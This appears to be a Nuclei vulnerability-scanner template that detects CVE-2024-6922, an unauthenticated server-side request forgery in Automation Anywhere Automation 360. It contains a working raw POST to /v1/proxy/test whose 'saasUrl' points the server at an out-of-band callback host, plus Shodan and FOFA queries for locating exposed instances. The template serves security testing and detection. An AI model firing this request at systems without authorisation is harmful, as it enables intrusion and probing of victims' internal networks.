id: CVE-2024-6922

info:
  name: Automation Anywhere Automation 360 - Server-Side Request Forgery
  author: DhiyaneshDK
  severity: high
  description: |
    Automation Anywhere Automation 360 v21-v32 is vulnerable to Server-Side Request Forgery in a web API component.
  impact: |
    An attacker with unauthenticated access to the Automation 360 Control Room HTTPS service (port 443) or HTTP service (port 80) can trigger arbitrary web requests from the server.
  reference:
    - https://www.automationanywhere.com/products/automation-360
    - https://www.rapid7.com/blog/post/2024/07/26/cve-2024-6922-automation-anywhere-automation-360-server-side-request-forgery/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6922
  classification:
    cpe: cpe:2.3:a:automationanywhere:automation_360:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-1005691603
    fofa-query: icon_hash="-1005691603"
    product: automation_360
    vendor: automationanywhere
  tags: cve,cve2024,ssrf,oast,automation,anywhere


http:
  - raw:
      - |
        POST /v1/proxy/test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"saasUrl":"{{interactsh-url}}/?param=one#"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '{"message":'

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 400
# digest: 490a0046304402205de70b6fc5c12c708c9057053bb25e420bf6118b966a7887a40ecc739699d9280220419f865f057a76f47218f5a2e0be914f320ebc7e90ea4be77d61faebe1590238:922c64590222798bb761d5b6d8e72950